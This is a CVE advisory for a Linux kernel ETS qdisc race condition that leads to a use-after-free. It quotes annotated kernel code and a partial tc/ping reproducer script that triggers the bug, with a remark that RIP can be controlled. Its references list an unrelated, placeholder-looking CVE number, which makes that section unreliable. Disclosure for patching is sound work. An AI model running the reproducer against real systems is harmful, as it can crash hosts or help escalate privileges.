CVE-2025-71066
Description
In the Linux kernel, the following vulnerability has been resolved:net/sched: ets: Always remove class from active list before deleting in ets_qdisc_changezdi-disclosures@trendmicro.com says:The vulnerability is a race condition between ets_qdisc_dequeue andets_qdisc_change. It leads to UAF on struct Qdisc object.Attacker requires the capability to create new user and network namespacein order to trigger the bug.See my additional commentary at the end of the analysis.Analysis:static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack){... // (1) this lock is preventing .change handler (ets_qdisc_change) //to race with .dequeue handler (ets_qdisc_dequeue) sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); } // (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch); ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) were reducing the refcount for our classs qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = null; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0;}Comment:This happens because some of the classes have their qdiscs assigned tonull, but remain in the active list. This commit fixes this issue by alwaysremoving the class from the active list before deleting and freeing itsassociated qdiscReproducer Steps(trimmed version of what was sent by zdi-disclosures@trendmicro.com)DEV=${DEV:-lo}ROOT_HANDLE=${ROOT_HANDLE:-1:}BAND2_HANDLE=${BAND2_HANDLE:-20:} # child under 1:2PING_BYTES=${PING_BYTES:-48}PING_COUNT=${PING_COUNT:-200000}PING_DST=${PING_DST:-127.0.0.1}SLOW_TBF_RATE=${SLOW_TBF_RATE:-8bit}SLOW_TBF_BURST=${SLOW_TBF_BURST:-100b}SLOW_TBF_LAT=${SLOW_TBF_LAT:-1s}cleanup() { tc qdisc del dev $DEV root 2>/dev/null}trap cleanup EXITip link set $DEV uptc qdisc del dev $DEV root 2>/dev/null || truetc qdisc add dev $DEV root handle $ROOT_HANDLE ets bands 2 strict 2tc qdisc add dev $DEV parent 1:2 handle $BAND2_HANDLE tbf rate $SLOW_TBF_RATE burst $SLOW_TBF_BURST latency $SLOW_TBF_LATtc filter add dev $DEV parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2tc -s qdisc ls dev $DEVping -I $DEV -f -c $PING_COUNT -s $PING_BYTES -W 0.001 $PING_DST >/dev/null 2>&1 &tc qdisc change dev $DEV root handle $ROOT_HANDLE ets bands 2 strict 0tc qdisc change dev $DEV root handle $ROOT_HANDLE ets bands 2 strict 2tc -s qdisc ls dev $DEVtc qdisc del dev $DEV parent ---truncated---
Risk Information
Associated Vulnerability
No records foundPatch Details
No records foundReferences
https://nvd.nist.gov/vuln/detail/CVE-2023-1234
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1234